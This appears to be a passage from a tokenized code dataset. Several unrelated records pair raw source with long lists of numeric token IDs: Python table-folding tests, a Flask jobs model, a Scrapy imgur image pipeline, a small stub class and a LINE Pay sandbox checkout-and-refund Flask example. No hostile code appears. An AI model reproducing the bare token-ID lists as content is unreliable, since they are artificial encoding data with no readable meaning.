13,
13,
4706,
1583,
29889,
9294,
9843,
29898,
4905,
29879,
29961,
29900,
1402,
260,
29889,
4039,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
23583,
29898,
4905,
29879,
29961,
29896,
29901,
11724,
260,
29889,
29888,
3361,
29897,
13,
13,
4706,
1583,
29889,
9294,
5574,
29898,
29873,
29889,
4039,
297,
260,
29889,
11010,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
710,
29892,
260,
29889,
657,
12763,
1542,
29898,
29873,
29889,
4039,
876,
13,
4706,
363,
285,
29892,
900,
29881,
297,
26985,
29898,
29873,
29889,
29888,
3361,
1125,
13,
9651,
1583,
29889,
9294,
5574,
29898,
8771,
297,
260,
29889,
11010,
29897,
13,
9651,
363,
1881,
297,
260,
29889,
2080,
29879,
29961,
29888,
29930,
29876,
13155,
5919,
29888,
29974,
29896,
11877,
29876,
13155,
5387,
13,
18884,
1583,
29889,
9294,
8824,
29898,
2080,
297,
260,
29889,
11010,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
29879,
29889,
11010,
29961,
2080,
1402,
260,
29889,
11010,
29961,
8771,
2314,
13,
13,
4706,
3935,
353,
29871,
29900,
13,
4706,
363,
1948,
297,
260,
29901,
13,
9651,
396,
259,
5399,
278,
1948,
1178,
13,
9651,
1583,
29889,
9294,
5574,
29898,
798,
333,
297,
1948,
29897,
13,
9651,
1583,
29889,
9294,
9843,
29898,
19304,
849,
302,
8771,
287,
29892,
1948,
29961,
798,
333,
2314,
13,
13,
9651,
396,
259,
5399,
278,
6611,
13,
9651,
363,
413,
29892,
1820,
297,
26985,
29898,
8149,
1125,
13,
18884,
1583,
29889,
9294,
5574,
29898,
1989,
297,
1948,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
5975,
29961,
29895,
1402,
1948,
29961,
1989,
2314,
13,
13,
9651,
396,
259,
5399,
278,
8282,
13,
9651,
1948,
1217,
353,
3935,
1273,
302,
8771,
287,
13,
9651,
1583,
29889,
9294,
5574,
29898,
29873,
29889,
4039,
297,
1948,
29897,
13,
9651,
1583,
29889,
9294,
9843,
29898,
29873,
29889,
11338,
29961,
798,
1217,
1402,
1948,
29961,
29873,
29889,
4039,
2314,
13,
13,
9651,
396,
259,
5399,
900,
6289,
13,
9651,
363,
285,
29892,
900,
29881,
297,
26985,
29898,
29873,
29889,
29888,
3361,
1125,
13,
18884,
1583,
29889,
9294,
5574,
29898,
8771,
297,
1948,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
5975,
29961,
29876,
8149,
718,
285,
334,
302,
8771,
287,
718,
1948,
1217,
1402,
1948,
29961,
8771,
2314,
13,
13,
9651,
3935,
4619,
29871,
29896,
13,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29876,
8771,
287,
334,
302,
5727,
29892,
3935,
29897,
13,
13,
4706,
736,
260,
13,
13,
1678,
822,
1243,
29918,
8771,
29918,
10184,
29918,
517,
29918,
650,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
29918,
8771,
580,
13,
13,
1678,
822,
1243,
29918,
8771,
29918,
17536,
29918,
517,
29918,
650,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
29918,
8771,
29898,
29941,
29897,
13,
13,
1678,
822,
1243,
29918,
8771,
29918,
17823,
29918,
517,
29918,
10184,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
29918,
8771,
29898,
29946,
29892,
29871,
29906,
29897,
13,
13,
1678,
822,
1243,
29918,
8771,
29918,
17823,
29918,
517,
29918,
10184,
29918,
7516,
625,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
29918,
8771,
29898,
29946,
29892,
29871,
29906,
29892,
29871,
29906,
29897,
13,
13,
1678,
822,
1243,
29918,
4632,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
29934,
1759,
267,
29898,
7508,
29888,
29889,
13372,
2451,
29892,
260,
24660,
29889,
29943,
1025,
29892,
6213,
29892,
6702,
29943,
29896,
742,
525,
29943,
29906,
5477,
6702,
8176,
742,
525,
29943,
742,
876,
13,
13,
1678,
822,
1243,
29918,
27259,
29898,
1311,
1125,
13,
4706,
269,
353,
260,
24660,
29889,
2528,
29898,
8516,
29892,
525,
8667,
742,
29871,
29896,
29897,
13,
4706,
1583,
29889,
9294,
29934,
1759,
267,
29898,
7508,
29888,
29889,
13372,
2451,
29892,
260,
24660,
29889,
29943,
1025,
29892,
269,
29892,
6702,
29943,
29896,
742,
525,
29943,
29906,
5477,
6702,
8176,
742,
525,
29943,
742,
876,
13,
13,
1678,
822,
4974,
29918,
20965,
29898,
1311,
29892,
302,
2080,
29879,
29892,
302,
4905,
29879,
29892,
302,
11338,
29922,
8516,
1125,
13,
4706,
1819,
353,
518,
29875,
363,
474,
297,
3464,
29898,
29876,
2080,
29879,
4638,
13,
4706,
10970,
353,
518,
29888,
29908,
29943,
29912,
29875,
5038,
363,
474,
297,
3464,
29898,
29876,
2080,
29879,
4638,
13,
4706,
14391,
353,
518,
29888,
29908,
29949,
29912,
29875,
5038,
363,
474,
297,
3464,
29898,
29876,
4905,
29879,
4638,
13,
4706,
8282,
353,
518,
29888,
29908,
29911,
29912,
29875,
5038,
363,
474,
297,
3464,
29898,
593,
810,
4638,
565,
302,
11338,
338,
451,
6213,
1683,
6213,
13,
13,
4706,
269,
353,
260,
24660,
29889,
2528,
29898,
8516,
29892,
10970,
29892,
1819,
29897,
13,
4706,
1583,
29889,
9294,
29934,
1759,
267,
29898,
7508,
29888,
29889,
13372,
2451,
29892,
260,
24660,
29889,
29943,
1025,
29892,
269,
29892,
10970,
29892,
14391,
29892,
8282,
29897,
13,
13,
1678,
822,
1243,
29918,
1217,
29918,
4905,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
29918,
20965,
29898,
29906,
29892,
29871,
29900,
29897,
13,
13,
1678,
822,
1243,
29918,
6194,
29918,
4039,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
29918,
20965,
29898,
29906,
29892,
29871,
29896,
29897,
13,
13,
1678,
822,
1243,
29918,
1333,
29918,
264,
820,
29918,
2080,
29879,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
29918,
20965,
29898,
29896,
29892,
29871,
29941,
29897,
13,
13,
1678,
822,
1243,
29918,
1431,
3192,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
29918,
20965,
29898,
29955,
29892,
29871,
29946,
29897,
13,
13,
1678,
822,
1243,
29918,
12313,
29918,
4039,
29918,
2798,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
29918,
20965,
29898,
29946,
29892,
29871,
29906,
29892,
29871,
29941,
29897,
13,
13,
1678,
822,
1243,
29918,
1365,
4233,
29918,
29953,
29898,
1311,
1125,
13,
4706,
11799,
353,
6796,
29937,
29933,
1307,
2797,
29879,
29892,
29937,
2182,
6358,
29892,
8140,
29892,
29984,
29906,
29945,
29892,
19302,
713,
29892,
29984,
29955,
29945,
29892,
7976,
613,
13,
9651,
376,
29945,
29892,
29896,
29892,
29955,
29889,
29906,
29906,
29892,
29955,
29889,
29906,
29906,
29892,
29955,
29889,
29906,
29906,
29892,
29955,
29889,
29906,
29906,
29892,
29955,
29889,
29906,
29906,
613,
13,
9651,
376,
29953,
29892,
29896,
29896,
29892,
29941,
29889,
29947,
29955,
29892,
29953,
29889,
29945,
29946,
29892,
29947,
29889,
29900,
29941,
29892,
29929,
29889,
29947,
29953,
29892,
29896,
29955,
29889,
29947,
29945,
613,
13,
9651,
376,
29955,
29892,
29947,
29945,
29892,
29945,
29889,
29896,
29947,
29892,
29955,
29889,
29906,
29900,
29892,
29947,
29889,
29896,
29953,
29892,
29896,
29900,
29889,
29896,
29946,
29892,
29941,
29896,
29896,
29889,
29955,
29955,
613,
13,
9651,
376,
29947,
29892,
29946,
29946,
29929,
29892,
29946,
29889,
29947,
29896,
29892,
29947,
29889,
29941,
29900,
29892,
29896,
29900,
29889,
29900,
29953,
29892,
29896,
29941,
29889,
29941,
29906,
29892,
29941,
29945,
29941,
29889,
29946,
29906,
613,
13,
9651,
376,
29929,
29892,
29896,
29945,
29896,
29896,
29892,
29946,
29889,
29955,
29900,
29892,
29929,
29889,
29900,
29945,
29892,
29896,
29900,
29889,
29929,
29947,
29892,
29896,
29945,
29889,
29945,
29896,
29892,
29941,
29896,
29947,
29889,
29941,
29906,
613,
13,
9651,
376,
29896,
29900,
29892,
29929,
29906,
29896,
29953,
29892,
29941,
29889,
29929,
29900,
29892,
29929,
29889,
29955,
29945,
29892,
29896,
29906,
29889,
29896,
29929,
29892,
29896,
29955,
29889,
29906,
29896,
29892,
29941,
29946,
29955,
29889,
29929,
29906,
613,
13,
4706,
4514,
13,
4706,
282,
353,
260,
24660,
29889,
6359,
29898,
7638,
29897,
13,
4706,
282,
353,
260,
24660,
29889,
15738,
29898,
29886,
29892,
16321,
29933,
1307,
2797,
29879,
742,
938,
29897,
13,
4706,
282,
353,
260,
24660,
29889,
15738,
29898,
29886,
29892,
16321,
2182,
6358,
742,
938,
29897,
13,
4706,
20220,
287,
353,
6024,
8140,
742,
525,
29984,
29906,
29945,
29915,
1919,
29915,
19302,
713,
29915,
1919,
29915,
29984,
29955,
29945,
29915,
1919,
29915,
7976,
742,
29962,
13,
4706,
900,
7176,
353,
6024,
22930,
488,
742,
525,
1917,
742,
29962,
13,
4706,
282,
353,
260,
24660,
29889,
29943,
1025,
29898,
29886,
29892,
20220,
287,
29892,
900,
7176,
29897,
13,
4706,
1583,
29889,
9294,
9843,
18959,
29937,
29933,
1307,
2797,
29879,
3788,
29937,
2182,
6358,
742,
21251,
282,
29889,
20227,
29897,
13,
4706,
3935,
353,
29871,
29900,
13,
4706,
363,
1948,
297,
282,
29901,
13,
9651,
1583,
29889,
9294,
5574,
14237,
29933,
1307,
2797,
29879,
29915,
297,
1948,
29892,
1948,
29897,
13,
9651,
1583,
29889,
9294,
9843,
29898,
29945,
718,
3935,
849,
7431,
29898,
348,
8771,
287,
511,
1948,
1839,
29937,
29933,
1307,
2797,
29879,
7464,
3935,
29897,
13,
9651,
3935,
4619,
29871,
29896,
13,
4706,
1583,
29889,
9294,
9843,
3552,
2435,
29898,
7638,
29897,
448,
29871,
29896,
29897,
334,
7431,
29898,
348,
8771,
287,
511,
3935,
29897,
13,
13,
1678,
822,
1243,
29918,
8865,
29918,
11338,
29898,
1311,
1125,
13,
4706,
269,
353,
6213,
13,
4706,
269,
353,
260,
24660,
29889,
20529,
29898,
29879,
29892,
525,
29943,
1025,
29871,
29896,
1495,
13,
4706,
269,
353,
260,
24660,
29889,
20529,
29898,
29879,
29892,
525,
29943,
1025,
29871,
29906,
1495,
13,
4706,
269,
353,
260,
24660,
29889,
24445,
29898,
29879,
29892,
29871,
29946,
29897,
13,
4706,
269,
353,
260,
24660,
29889,
29943,
1025,
29898,
29879,
29892,
6702,
29943,
1025,
29871,
29896,
742,
525,
29943,
1025,
29871,
29906,
742,
511,
6702,
28089,
742,
525,
4782,
742,
876,
13,
4706,
269,
353,
260,
24660,
29889,
15063,
29898,
29879,
29892,
525,
28089,
1495,
13,
4706,
269,
29889,
29886,
3427,
580,
13,
2
] |
apps/jobs/models/jobs.py | rainydaygit/testtcloudserver | 349 | 157528 | from library.api.db import EntityModel, db
class JobsRecord(EntityModel):
ACTIVE = 0
DISABLE = 1
job_id = db.Column(db.String(100)) # Job id
result = db.Column(db.String(1000)) # Job 结果
log = db.Column(db.Text) # Job log
| [
1,
515,
3489,
29889,
2754,
29889,
2585,
1053,
14945,
3195,
29892,
4833,
13,
13,
13,
1990,
17163,
29879,
9182,
29898,
6691,
3195,
1125,
13,
1678,
319,
1783,
18474,
353,
29871,
29900,
13,
1678,
28657,
6181,
353,
29871,
29896,
13,
13,
1678,
4982,
29918,
333,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29896,
29900,
29900,
876,
29871,
396,
17163,
1178,
13,
1678,
1121,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1231,
29898,
29896,
29900,
29900,
29900,
876,
29871,
396,
17163,
29871,
31320,
30801,
13,
1678,
1480,
353,
4833,
29889,
4409,
29898,
2585,
29889,
1626,
29897,
29871,
396,
17163,
1480,
13,
2
] |
text/_geometry/boxing/ratios/padding.py | jedhsu/text | 0 | 115406 | from ._ratio import BoxRatio
class PaddingBoxRatio(
BoxRatio,
):
pass
| [
1,
515,
869,
29918,
3605,
601,
1053,
11773,
29934,
20819,
13,
13,
13,
1990,
349,
4676,
3313,
29934,
20819,
29898,
13,
1678,
11773,
29934,
20819,
29892,
13,
1125,
13,
1678,
1209,
13,
2
] |
hacking/imgur-image-scraping-spider/pipelines.py | Dilmuratjan/MyProject | 2 | 65220 | import scrapy
from scrapy.contrib.pipeline.images import ImagesPipeline
ITEM_PIPELINES = {'imgur.pipelines.ImgurPipeline': 1}
class ImgurPipeline(ImagesPipeline):
def set_filename(self, response):
#add a regex here to check the title is valid for a filename.
return 'full/{0}.jpg'.format(response.meta['title'][0])
def get_media_requests(self, item, info):
for image_url in item['image_urls']:
yield scrapy.Request(image_url, meta={'title': item['title']})
def get_images(self, response, request, info):
for key, image, buf in super(ImgurPipeline, self).get_images(response, request, info):
key = self.set_filename(response)
yield key, image, buf
| [
1,
1053,
24559,
2272,
30004,
13,
3166,
24559,
2272,
29889,
21570,
29889,
13096,
5570,
29889,
8346,
1053,
1954,
1179,
29925,
23828,
30004,
13,
30004,
13,
9094,
29924,
29918,
2227,
4162,
23714,
2890,
353,
11117,
3320,
29889,
13096,
24210,
29889,
25518,
332,
29925,
23828,
2396,
29871,
29896,
8117,
13,
30004,
13,
1990,
1954,
29887,
332,
29925,
23828,
29898,
20163,
29925,
23828,
1125,
30004,
13,
30004,
13,
12,
1753,
731,
29918,
9507,
29898,
1311,
29892,
2933,
1125,
30004,
13,
12,
12,
29937,
1202,
263,
6528,
1244,
304,
1423,
278,
3611,
338,
2854,
363,
263,
10422,
22993,
13,
12,
12,
2457,
525,
8159,
19248,
29900,
1836,
6173,
4286,
4830,
29898,
5327,
29889,
7299,
1839,
3257,
2033,
29961,
29900,
2314,
30004,
13,
30004,
13,
12,
1753,
679,
29918,
9799,
29918,
24830,
29898,
1311,
29892,
2944,
29892,
5235,
1125,
30004,
13,
12,
12,
1454,
1967,
29918,
2271,
297,
2944,
1839,
3027,
29918,
26045,
2033,
29901,
30004,
13,
12,
12,
12,
29891,
969,
24559,
2272,
29889,
3089,
29898,
3027,
29918,
2271,
29892,
12700,
3790,
29915,
3257,
2396,
2944,
1839,
3257,
2033,
1800,
30004,
13,
30004,
13,
12,
1753,
679,
29918,
8346,
29898,
1311,
29892,
2933,
29892,
2009,
29892,
5235,
1125,
30004,
13,
12,
12,
1454,
1820,
29892,
1967,
29892,
18392,
297,
2428,
29898,
25518,
332,
29925,
23828,
29892,
1583,
467,
657,
29918,
8346,
29898,
5327,
29892,
2009,
29892,
5235,
1125,
30004,
13,
12,
12,
12,
1989,
353,
1583,
29889,
842,
29918,
9507,
29898,
5327,
8443,
13,
12,
12,
29891,
969,
1820,
29892,
1967,
29892,
18392,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
30004,
13,
2
] |
tasks/request-confirm-refund.py | smes112108/line-pay | 0 | 106915 | <gh_stars>0
# -*- coding: utf-8 -*-
"""
LINE Pay API SDK for Python use example
Request -> Confirm -> Refund
"""
import logging
import uuid
import os
from os.path import join, dirname
from dotenv import load_dotenv
from flask import Flask, request, abort, render_template, redirect
from linepay import LinePayApi
# dotenv
load_dotenv(verbose=True)
dotenv_path = join(dirname(__file__), '.env')
load_dotenv(dotenv_path)
# logger
logger = logging.getLogger("linepay")
logger.setLevel(logging.DEBUG)
sh = logging.StreamHandler()
logger.addHandler(sh)
formatter = logging.Formatter('%(asctime)s:%(lineno)d:%(levelname)s:%(message)s')
sh.setFormatter(formatter)
# Flask
app = Flask(__name__)
# LINE Pay API
LINE_PAY_CHANNEL_ID = os.environ.get("LINE_PAY_CHANNEL_ID")
LINE_PAY_CHANNEL_SECRET = os.environ.get("LINE_PAY_CHANNEL_SECRET")
LINE_PAY_REQEST_BASE_URL = "https://{}".format(
# set your server host name (ex. ngrok forwarding host) at HOST_NAME on .env file
os.environ.get("HOST_NAME")
)
# LINE_PAY_REQEST_BASE_URL = "http://{}".format(
# # set your server host name (ex. ngrok forwarding host) at HOST_NAME on .env file
# os.environ.get("HOST_NAME")
# )
# print(LINE_PAY_REQEST_BASE_URL)
# exit()
# LINE_PAY_REQEST_BASE_URL = "http://127.0.0.1:8080"
api = LinePayApi(LINE_PAY_CHANNEL_ID, LINE_PAY_CHANNEL_SECRET, is_sandbox=True)
# Cache
CACHE = {}
@app.route("/", methods=['GET'])
def index():
return render_template('index.html')
@app.route("/request", methods=['POST'])
def pay_request():
order_id = str(uuid.uuid4())
amount = 500
currency = "TWD"
CACHE["order_id"] = order_id
CACHE["amount"] = amount
CACHE["currency"] = currency
#Product Information
Name = "中文成績單"
Name1 = "英文成績單"
# dict type
request_options = {
"amount": amount,
"currency": currency,
"orderId": order_id,
"packages": [
{
"id": "package-999",
"amount": 500,
"name": Name,
"products": [
{
"id": "product-001",
"name": Name,
"imageUrl": "https://placehold.jp/99ccff/003366/150x150.png?text=Sample%20product",
"quantity": 2,
"price": 50
},
{
"id": "product-002",
"name": Name1,
"imageUrl": "https://placehold.jp/99ccff/003366/150x150.png?text=Sample%20product",
"quantity": 4,
"price": 100
},
]
}
],
"redirectUrls": {
"confirmUrl": LINE_PAY_REQEST_BASE_URL + "/confirm",
"cancelUrl": LINE_PAY_REQEST_BASE_URL + "/cancel"
}
}
logger.debug(request_options)
response = api.request(request_options)
logger.debug(response)
# Check Payment Satus
transaction_id = int(response.get("info", {}).get("transactionId", 0))
check_result = api.check_payment_status(transaction_id)
logger.debug(check_result)
response["transaction_id"] = transaction_id
response["paymentStatusCheckReturnCode"] = check_result.get("returnCode", None)
response["paymentStatusCheckReturnMessage"] = check_result.get("returnMessage", None)
# print(check_result.get("returnCode", None))
print("===================paymentUrl=====================")
print(response['info']['paymentUrl']['web'])
paymentUrl = response['info']['paymentUrl']['web']
print("====================================================")
# return render_template("request.html", result=response)
return redirect(response['info']['paymentUrl']['web'])
# return render_template()
@app.route("/confirm", methods=['GET'])
def pay_confirm():
transaction_id = int(request.args.get('transactionId'))
logger.debug("transaction_id: %s", str(transaction_id))
CACHE["transaction_id"] = transaction_id
response = api.confirm(
transaction_id,
float(CACHE.get("amount", 0)),
CACHE.get("currency", "TWD")
)
print(response)
# return render_template("confirm.html", result=response)
logger.debug(response)
# Check Payment Status
check_result = api.check_payment_status(transaction_id)
logger.debug(check_result)
response["transaction_id"] = transaction_id
response["paymentStatusCheckReturnCode"] = check_result.get("returnCode", None)
response["paymentStatusCheckReturnMessage"] = check_result.get("returnMessage", None)
# Payment Detail
payment_details = api.payment_details(transaction_id=transaction_id)
logger.debug(payment_details)
response["payment_details"] = payment_details
return render_template("confirm.html", result=response)
@app.route("/refund", methods=['GET'])
def pay_refund():
transaction_id = int(CACHE.get("transaction_id", 0))
# print(transaction_id)
logger.debug("transaction_id: %s", str(transaction_id))
response = api.refund(transaction_id)
logger.debug(response)
print("=============refund information ====================")
print(response)
print("=============end output=============")
return render_template("refund.html", result=response)
if __name__ == "__main__":
app.run(debug=True, port=80)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
15945,
29908,
13,
18521,
14617,
3450,
12967,
363,
5132,
671,
1342,
13,
13,
3089,
1599,
10811,
3568,
1599,
9897,
870,
13,
15945,
29908,
13,
13,
5215,
12183,
13,
5215,
318,
5416,
13,
5215,
2897,
13,
3166,
2897,
29889,
2084,
1053,
5988,
29892,
4516,
978,
13,
3166,
8329,
6272,
1053,
2254,
29918,
6333,
6272,
13,
3166,
29784,
1053,
2379,
1278,
29892,
2009,
29892,
27450,
29892,
4050,
29918,
6886,
29892,
6684,
13,
3166,
1196,
10472,
1053,
7407,
15467,
11713,
13,
13,
29937,
8329,
6272,
13,
1359,
29918,
6333,
6272,
29898,
369,
15828,
29922,
5574,
29897,
13,
6333,
6272,
29918,
2084,
353,
5988,
29898,
25721,
22168,
1445,
1649,
511,
15300,
6272,
1495,
13,
1359,
29918,
6333,
6272,
29898,
6333,
6272,
29918,
2084,
29897,
13,
13,
29937,
17927,
13,
21707,
353,
12183,
29889,
657,
16363,
703,
1220,
10472,
1159,
13,
21707,
29889,
842,
10108,
29898,
21027,
29889,
18525,
29897,
13,
845,
353,
12183,
29889,
3835,
4598,
580,
13,
21707,
29889,
1202,
4598,
29898,
845,
29897,
13,
689,
2620,
353,
12183,
29889,
18522,
877,
29995,
29898,
294,
312,
603,
29897,
29879,
16664,
29898,
1915,
8154,
29897,
29881,
16664,
29898,
5563,
978,
29897,
29879,
16664,
29898,
4906,
29897,
29879,
1495,
13,
845,
29889,
842,
18522,
29898,
689,
2620,
29897,
13,
13,
29937,
2379,
1278,
13,
932,
353,
2379,
1278,
22168,
978,
1649,
29897,
13,
13,
29937,
365,
8895,
14617,
3450,
13,
18521,
29918,
7228,
29979,
29918,
3210,
2190,
29940,
6670,
29918,
1367,
353,
2897,
29889,
21813,
29889,
657,
703,
18521,
29918,
7228,
29979,
29918,
3210,
2190,
29940,
6670,
29918,
1367,
1159,
13,
18521,
29918,
7228,
29979,
29918,
3210,
2190,
29940,
6670,
29918,
1660,
22245,
29911,
353,
2897,
29889,
21813,
29889,
657,
703,
18521,
29918,
7228,
29979,
29918,
3210,
2190,
29940,
6670,
29918,
1660,
22245,
29911,
1159,
13,
13,
18521,
29918,
7228,
29979,
29918,
1525,
29984,
29923,
1254,
29918,
25416,
29918,
4219,
353,
376,
991,
597,
8875,
1642,
4830,
29898,
13,
12,
29937,
731,
596,
1923,
3495,
1024,
313,
735,
29889,
8736,
16475,
6375,
292,
3495,
29897,
472,
379,
3718,
29918,
5813,
373,
869,
6272,
934,
13,
12,
359,
29889,
21813,
29889,
657,
703,
20832,
29918,
5813,
1159,
13,
29897,
13,
13,
29937,
365,
8895,
29918,
7228,
29979,
29918,
1525,
29984,
29923,
1254,
29918,
25416,
29918,
4219,
353,
376,
1124,
597,
8875,
1642,
4830,
29898,
13,
29937,
29871,
12,
29937,
731,
596,
1923,
3495,
1024,
313,
735,
29889,
8736,
16475,
6375,
292,
3495,
29897,
472,
379,
3718,
29918,
5813,
373,
869,
6272,
934,
13,
29937,
29871,
12,
359,
29889,
21813,
29889,
657,
703,
20832,
29918,
5813,
1159,
13,
29937,
1723,
13,
13,
29937,
1596,
29898,
18521,
29918,
7228,
29979,
29918,
1525,
29984,
29923,
1254,
29918,
25416,
29918,
4219,
29897,
13,
29937,
6876,
580,
13,
29937,
365,
8895,
29918,
7228,
29979,
29918,
1525,
29984,
29923,
1254,
29918,
25416,
29918,
4219,
353,
376,
1124,
597,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
29901,
29947,
29900,
29947,
29900,
29908,
13,
13,
2754,
353,
7407,
15467,
11713,
29898,
18521,
29918,
7228,
29979,
29918,
3210,
2190,
29940,
6670,
29918,
1367,
29892,
365,
8895,
29918,
7228,
29979,
29918,
3210,
2190,
29940,
6670,
29918,
1660,
22245,
29911,
29892,
338,
29918,
29879,
26738,
29922,
5574,
29897,
13,
13,
29937,
28540,
13,
29907,
2477,
9606,
353,
6571,
13,
13,
29992,
932,
29889,
13134,
11974,
613,
3519,
29922,
1839,
7194,
11287,
13,
1753,
2380,
7295,
13,
1678,
736,
4050,
29918,
6886,
877,
2248,
29889,
1420,
1495,
13,
13,
29992,
932,
29889,
13134,
11974,
3827,
613,
3519,
29922,
1839,
5438,
11287,
13,
1753,
5146,
29918,
3827,
7295,
13,
12,
2098,
29918,
333,
353,
851,
29898,
25118,
29889,
25118,
29946,
3101,
13,
12,
14506,
353,
29871,
29945,
29900,
29900,
13,
12,
26095,
353,
376,
16240,
29928,
29908,
13,
12,
29907,
2477,
9606,
3366,
2098,
29918,
333,
3108,
353,
1797,
29918,
333,
13,
12,
29907,
2477,
9606,
3366,
14506,
3108,
353,
5253,
13,
12,
29907,
2477,
9606,
3366,
26095,
3108,
353,
27550,
13,
12,
13,
12,
29937,
7566,
10343,
29871,
13,
12,
1170,
353,
376,
30275,
30333,
30494,
234,
187,
193,
232,
153,
177,
29908,
13,
12,
1170,
29896,
353,
376,
31144,
30333,
30494,
234,
187,
193,
232,
153,
177,
29908,
13,
13,
12,
29937,
9657,
1134,
13,
12,
3827,
29918,
6768,
353,
426,
13,
12,
12,
29908,
14506,
1115,
5253,
29892,
13,
12,
12,
29908,
26095,
1115,
27550,
29892,
13,
12,
12,
29908,
2098,
1204,
1115,
1797,
29918,
333,
29892,
13,
12,
12,
29908,
8318,
1115,
518,
13,
12,
12,
12,
29912,
13,
12,
12,
12,
12,
29908,
333,
1115,
376,
5113,
29899,
29929,
29929,
29929,
613,
13,
12,
12,
12,
12,
29908,
14506,
1115,
29871,
29945,
29900,
29900,
29892,
13,
12,
12,
12,
12,
29908,
978,
1115,
4408,
29892,
13,
12,
12,
12,
12,
29908,
14456,
1115,
518,
13,
12,
12,
12,
12,
12,
29912,
13,
12,
12,
12,
12,
12,
12,
29908,
333,
1115,
376,
4704,
29899,
29900,
29900,
29896,
613,
13,
12,
12,
12,
12,
12,
12,
29908,
978,
1115,
4408,
29892,
13,
12,
12,
12,
12,
12,
12,
29908,
3027,
5983,
1115,
376,
991,
597,
6689,
8948,
29889,
16865,
29914,
29929,
29929,
617,
600,
29914,
29900,
29900,
29941,
29941,
29953,
29953,
29914,
29896,
29945,
29900,
29916,
29896,
29945,
29900,
29889,
2732,
29973,
726,
29922,
17708,
29995,
29906,
29900,
4704,
613,
13,
12,
12,
12,
12,
12,
12,
29908,
22640,
1115,
29871,
29906,
29892,
13,
12,
12,
12,
12,
12,
12,
29908,
9175,
1115,
29871,
29945,
29900,
13,
12,
12,
12,
12,
12,
1118,
13,
12,
12,
12,
12,
12,
29912,
13,
12,
12,
12,
12,
12,
12,
29908,
333,
1115,
376,
4704,
29899,
29900,
29900,
29906,
613,
13,
12,
12,
12,
12,
12,
12,
29908,
978,
1115,
4408,
29896,
29892,
13,
12,
12,
12,
12,
12,
12,
29908,
3027,
5983,
1115,
376,
991,
597,
6689,
8948,
29889,
16865,
29914,
29929,
29929,
617,
600,
29914,
29900,
29900,
29941,
29941,
29953,
29953,
29914,
29896,
29945,
29900,
29916,
29896,
29945,
29900,
29889,
2732,
29973,
726,
29922,
17708,
29995,
29906,
29900,
4704,
613,
13,
12,
12,
12,
12,
12,
12,
29908,
22640,
1115,
29871,
29946,
29892,
13,
12,
12,
12,
12,
12,
12,
29908,
9175,
1115,
29871,
29896,
29900,
29900,
13,
12,
12,
12,
12,
12,
1118,
13,
12,
12,
12,
12,
29962,
13,
12,
12,
12,
29913,
13,
12,
12,
1402,
13,
12,
12,
29908,
17886,
5983,
29879,
1115,
426,
13,
12,
12,
12,
29908,
26897,
5983,
1115,
365,
8895,
29918,
7228,
29979,
29918,
1525,
29984,
29923,
1254,
29918,
25416,
29918,
4219,
718,
5591,
26897,
613,
13,
12,
12,
12,
29908,
20713,
5983,
1115,
365,
8895,
29918,
7228,
29979,
29918,
1525,
29984,
29923,
1254,
29918,
25416,
29918,
4219,
718,
5591,
20713,
29908,
13,
12,
12,
29913,
13,
12,
29913,
12,
13,
12,
21707,
29889,
8382,
29898,
3827,
29918,
6768,
29897,
13,
12,
5327,
353,
7882,
29889,
3827,
29898,
3827,
29918,
6768,
29897,
13,
12,
21707,
29889,
8382,
29898,
5327,
29897,
13,
12,
29937,
5399,
14617,
358,
317,
2389,
13,
12,
20736,
29918,
333,
353,
938,
29898,
5327,
29889,
657,
703,
3888,
613,
6571,
467,
657,
703,
20736,
1204,
613,
29871,
29900,
876,
13,
12,
3198,
29918,
2914,
353,
7882,
29889,
3198,
29918,
27825,
29918,
4882,
29898,
20736,
29918,
333,
29897,
13,
12,
21707,
29889,
8382,
29898,
3198,
29918,
2914,
29897,
13,
12,
5327,
3366,
20736,
29918,
333,
3108,
353,
10804,
29918,
333,
13,
12,
5327,
3366,
27825,
5709,
5596,
11609,
3399,
3108,
353,
1423,
29918,
2914,
29889,
657,
703,
2457,
3399,
613,
6213,
29897,
13,
12,
5327,
3366,
27825,
5709,
5596,
11609,
3728,
3108,
353,
1423,
29918,
2914,
29889,
657,
703,
2457,
3728,
613,
6213,
29897,
13,
12,
29937,
1596,
29898,
3198,
29918,
2914,
29889,
657,
703,
2457,
3399,
613,
6213,
876,
13,
12,
2158,
703,
9166,
25512,
27825,
5983,
9166,
2751,
543,
29897,
13,
12,
2158,
29898,
5327,
1839,
3888,
16215,
27825,
5983,
16215,
2676,
11287,
13,
12,
27825,
5983,
353,
2933,
1839,
3888,
16215,
27825,
5983,
16215,
2676,
2033,
13,
12,
2158,
703,
9166,
9166,
9166,
25512,
543,
29897,
13,
13,
12,
29937,
736,
4050,
29918,
6886,
703,
3827,
29889,
1420,
613,
1121,
29922,
5327,
29897,
13,
12,
2457,
6684,
29898,
5327,
1839,
3888,
16215,
27825,
5983,
16215,
2676,
11287,
13,
12,
29937,
736,
4050,
29918,
6886,
580,
13,
13,
13,
29992,
932,
29889,
13134,
11974,
26897,
613,
3519,
29922,
1839,
7194,
11287,
13,
1753,
5146,
29918,
26897,
7295,
13,
12,
20736,
29918,
333,
353,
938,
29898,
3827,
29889,
5085,
29889,
657,
877,
20736,
1204,
8785,
13,
12,
21707,
